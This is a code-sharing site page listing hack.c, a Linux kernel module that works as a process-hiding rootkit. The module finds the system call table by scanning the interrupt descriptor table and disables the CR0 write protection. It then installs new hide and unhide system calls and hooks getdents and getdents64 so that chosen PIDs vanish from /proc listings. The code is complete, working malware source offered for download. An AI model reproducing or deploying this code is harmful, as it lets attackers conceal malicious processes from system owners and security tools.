⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hack.c

📁 通过进程的pid号来实现隐藏进程.修改系统调用getdents函数来隐藏进程
💻 C
字号:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/string.h>
#include <linux/pid.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>

//add by chenken
#include<linux/spinlock.h>

#define __NR_hideprocess 223
#define __NR_unhideprocess 251

#ifndef PID_MAX
#define PID_MAX 0x8000
#endif

struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
 };

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);

asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
//
static char hidden_procs[PID_MAX/8 + 1];

inline char is_invisible(pid_t x) 
{
	if (x >= PID_MAX)
		return 0;
	return hidden_procs[x / 8] & (1 << (x % 8));
}

//begin: to get the sys_call_table
unsigned long *sys_call_table = NULL;
static unsigned int origcr0 = 0;

struct idt_tag {
	unsigned short offset_low, segment_select;
	unsigned char reserved, flags;
	unsigned short offset_high;
};

unsigned int clear_and_return_origCR0(void)
{
	unsigned int cr0 = 0;
	unsigned int ret = -1;

	__asm__ __volatile__ (
			"movl %%cr0,%%eax"
			:"=a"(cr0)
	);
	ret = cr0;
	cr0 = cr0 & 0xfffeffff;

	__asm__ __volatile__ (
			"movl %%eax,%%cr0"
			::"a"(cr0)
	);
	return ret;
}

void setbackCR0(unsigned int pCR0) 
{
	__asm__ __volatile__ (
			"movl %%eax,%%cr0"
			::"a"(pCR0)
	);
}

static unsigned long getSyscallTable(void) 
{
	unsigned char idtr[6], *shell, *sort;
	struct idt_tag *idt;
	unsigned long system_call, sct;
	unsigned short offset_low, offset_high;
	char *p;
	int i;

	__asm__("sidt %0":"=m"(idtr));
	idt = (struct idt_tag*) ((*(unsigned long*) &idtr[2]) + 8 * 0x80);
	offset_low = idt->offset_low;
	offset_high = idt->offset_high;
	system_call = (offset_high) << 16 | offset_low;
	shell = (char*) system_call;
	sort = "\xff\x14\x85";

	for (i = 0; i < 100 - 2; i++)
		if (shell[i] == sort[0] && shell[i + 1] == sort[1] && shell[i + 2]
				== sort[2])
			break;
	p = &shell[i] + 3;
	sct = *(unsigned long*) p;
	return sct;
}

//end: get sys_call_table

int myatoi(char *str) 
{
	int res = 0;
	int mul = 1;
	char *ptr;

	for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
		if (*ptr < '0' || *ptr > '9')
			return (-1);
		res += (*ptr - '0') * mul;
		mul *= 10;
	}
	return (res);
}


struct task_struct *find_task(pid_t pid)
{
	struct task_struct *p;			//  ???????????????????not current ?

//tasklist_lock my be modified to rwlock_t, have been modified three position
	//read_lock(&tasklist_lock);	
	for_each_process(p) {
		if (p->pid == pid) {
			//read_unlock(&tasklist_lock);
			return p;
		}
	}
	//read_unlock(&tasklist_lock);
	return NULL;
}
//PF_INVISIBLE和PF_AUTH。如果进程控制块标志域的PF_INVISIBLE位被置位就表示进程是不可以显示的。
//进程标志PF_AUTH是用来限制对于隐藏进程的操作,只能具有PF_AUTH进程标志的进程才具有对被隐藏进程某些操作权限(例如:kill),
//而如果不进行验证,用户只要向系统的第2到第NR_TASKS号进程发出SIGVISIBLE信号,就可以轻松使被adore隐藏的进程露出原型。

asmlinkage unsigned long hide_process(pid_t x) 
{
//	printk("%d\n", x);
	if (x >= PID_MAX )
		return -EINVAL;
    else if(find_task(x))
	{
        hidden_procs[x / 8] |= 1 << (x % 8);
		
		return 0;
    }
    else
		return -EINVAL;
}

asmlinkage unsigned long unhide_process(pid_t x) 
{
//	printk("%d\n", x);
	if (x >= PID_MAX )
		return -EINVAL;
    else if(find_task(x))
	{
		hidden_procs[x / 8] &= ~(1 << (x % 8));
	
		return 0;
    }
    else
		return -EINVAL;
}

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count)
{
	long value;
	struct inode *dinode;
	int len = 0;
	int tlen = 0;

	value = (*orig_getdents) (fd, dirp, count);
	dinode=current->files->fdt->fd[fd]->f_dentry->d_inode;
	tlen = value;
	if(dinode->i_ino==PROC_ROOT_INO)
	{
//		printk("fd:%d,d_reclen:%d,tlen:%d,dname:%s,found proc\n",fd,dirp->d_reclen,tlen,dirp->d_name);
//		printk("\n");
		while(tlen>0)
		{
			len=dirp->d_reclen;
			tlen=tlen-len;
			if(is_invisible(myatoi(dirp->d_name)))
			{
//				printk("*****found pid=2\n");
				memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
				value = value - len;
			}
			if(tlen>0)
			{
//				printk("sub::d_reclen:%d,tlen:%d,dname:%s,\n",dirp->d_reclen,tlen,dirp->d_name);//current dirp
				dirp=(struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//next dirp
			}
		}
	}
	return value;
}

asmlinkage long hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
	//added by lsc for process
	long value;
	struct inode *dinode;
	int len = 0;
	int tlen = 0;
	//       struct linux_dirent64 *mydir = NULL;
	//end
	value = (*orig_getdents64) (fd, dirp, count);
	dinode=current->files->fdt->fd[fd]->f_dentry->d_inode;
	tlen = value;
	if(dinode->i_ino==PROC_ROOT_INO)
	{
//		printk("fd:%d,d_reclen:%d,tlen:%d,dname:%s,found proc\n",fd,dirp->d_reclen,tlen,dirp->d_name);
//		printk("\n");
		while(tlen>0)
		{
			len=dirp->d_reclen;
                        tlen=tlen-len;
			if(is_invisible(myatoi(dirp->d_name)))
			{
//				printk("*****%s is invisible\n",dirp->d_name);
				memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
				value = value - len;
			}
			if(tlen>0)
			{
//				printk("sub::d_reclen:%d,tlen:%d,dname:%s,\n",dirp->d_reclen,tlen,dirp->d_name);//current dirp
                                dirp=(struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen);//next dirp	
	              	}
		}
	}
	return value;
}

static int __init myinit(void)
{
	memset(hidden_procs, 0, sizeof(hidden_procs));

	sys_call_table = (unsigned long*)getSyscallTable();
	origcr0 = clear_and_return_origCR0();

	sys_call_table[__NR_hideprocess]=(unsigned long)hide_process;
	sys_call_table[__NR_unhideprocess]=(unsigned long)unhide_process;

	orig_getdents = sys_call_table[__NR_getdents];
	sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;

	orig_getdents64 = sys_call_table[__NR_getdents64];
	sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;

	setbackCR0(origcr0);
	printk("test hide process sys call!\n");
	return 0;
}

static void __exit myexit(void)
{
	if (sys_call_table)
	{
		origcr0 = clear_and_return_origCR0(); 
		sys_call_table[__NR_getdents]=orig_getdents;
                sys_call_table[__NR_getdents64]=orig_getdents64;
		setbackCR0(origcr0);
	}
	printk("Good bye!");

}

module_init( myinit);
module_exit( myexit);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -